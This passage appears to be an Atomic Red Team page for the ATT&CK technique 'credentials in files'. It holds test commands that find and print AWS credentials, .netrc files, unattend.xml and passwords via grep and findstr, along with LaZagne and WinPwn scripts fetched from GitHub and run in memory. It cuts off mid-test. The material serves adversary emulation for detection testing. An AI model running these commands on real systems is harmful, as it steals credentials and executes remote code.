# T1552.001 - Unsecured Credentials: Credentials In Files

## Description from ATT&CK

> Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
> 
> It is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003).(Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller.(Citation: SRD GPP)
> 
> In cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware) They may also be found as parameters to deployment commands in container logs.(Citation: Unit 42 Unsecured Docker Daemons) In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops - Cloud Credential Storage)

[Source](https://attack.mitre.org/techniques/T1552/001)

## Atomic Tests

- [Atomic Test #1: Find AWS credentials](#atomic-test-1-find-aws-credentials)
- [Atomic Test #2: Extract Browser and System credentials with LaZagne](#atomic-test-2-extract-browser-and-system-credentials-with-lazagne)
- [Atomic Test #3: Extract passwords with grep](#atomic-test-3-extract-passwords-with-grep)
- [Atomic Test #4: Extracting passwords with findstr](#atomic-test-4-extracting-passwords-with-findstr)
- [Atomic Test #5: Access unattend.xml](#atomic-test-5-access-unattendxml)
- [Atomic Test #6: Find and Access Github Credentials](#atomic-test-6-find-and-access-github-credentials)
- [Atomic Test #7: WinPwn - sensitivefiles](#atomic-test-7-winpwn---sensitivefiles)
- [Atomic Test #8: WinPwn - Snaffler](#atomic-test-8-winpwn---snaffler)
- [Atomic Test #9: WinPwn - powershellsensitive](#atomic-test-9-winpwn---powershellsensitive)
- [Atomic Test #10: WinPwn - passhunt](#atomic-test-10-winpwn---passhunt)
- [Atomic Test #11: WinPwn - SessionGopher](#atomic-test-11-winpwn---sessiongopher)
- [Atomic Test #12: WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials](#atomic-test-12-winpwn---loot-local-credentials---aws-microsoft-azure-and-google-compute-credentials)
- [Atomic Test #13: List Credential Files via PowerShell](#atomic-test-13-list-credential-files-via-powershell)
- [Atomic Test #14: List Credential Files via Command Prompt](#atomic-test-14-list-credential-files-via-command-prompt)
- [Atomic Test #15: Find Azure credentials](#atomic-test-15-find-azure-credentials)
- [Atomic Test #16: Find GCP credentials](#atomic-test-16-find-gcp-credentials)
- [Atomic Test #17: Find OCI credentials](#atomic-test-17-find-oci-credentials)

### Atomic Test #1: Find AWS credentials

Find local AWS credentials from file, defaults to using / as the look path.

**Supported Platforms:** macOS, Linux

**auto_generated_guid:** `37807632-d3da-442e-8c2e-00f44928ff8f`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| file_path | Path to search | string | /|

#### Attack Commands: Run with `sh`!

```sh
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
```

### Atomic Test #2: Extract Browser and System credentials with LaZagne

[LaZagne Source](https://github.com/AlessandroZ/LaZagne)

**Supported Platforms:** macOS

**auto_generated_guid:** `9e507bb8-1d30-4e3b-a49b-cb5727d7ea79`

#### Attack Commands: Run with `bash`! Elevation Required (e.g. root or admin)

```bash
python2 laZagne.py all
```

### Atomic Test #3: Extract passwords with grep

Extracting credentials from files

**Supported Platforms:** Linux, macOS

**auto_generated_guid:** `bd4cf0d1-7646-474e-8610-78ccf5a097c4`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| file_path | Path to search | string | /|

#### Attack Commands: Run with `sh`!

```sh
grep -ri password #{file_path}
exit 0
```

### Atomic Test #4: Extracting passwords with findstr

Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.

**Supported Platforms:** Windows

**auto_generated_guid:** `0e56bf29-ff49-4ea5-9af4-3b81283fd513`

#### Attack Commands: Run with `powershell`!

```powershell
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
```

### Atomic Test #5: Access unattend.xml

Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored.
If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.

**Supported Platforms:** Windows

**auto_generated_guid:** `367d4004-5fc0-446d-823f-960c74ae52c3`

#### Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```cmd
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
```

### Atomic Test #6: Find and Access Github Credentials

This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.

**Supported Platforms:** Linux, macOS

**auto_generated_guid:** `da4f751a-020b-40d7-b9ff-d433b7799803`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| file_path | Path to search | string | /home|

#### Attack Commands: Run with `bash`!

```bash
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
```

### Atomic Test #7: WinPwn - sensitivefiles

Search for sensitive files on this local system using the SensitiveFiles function of WinPwn

**Supported Platforms:** Windows

**auto_generated_guid:** `114dd4e3-8d1c-4ea7-bb8d-8d8f6aca21f0`

#### Attack Commands: Run with `powershell`!

```powershell
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
```

### Atomic Test #8: WinPwn - Snaffler

Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn

**Supported Platforms:** Windows

**auto_generated_guid:** `fdd0c913-714b-4c13-b40f-1824d6c015f2`

#### Attack Commands: Run with `powershell`!

```powershell
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
```

### Atomic Test #9: WinPwn - powershellsensitive

Check Powersh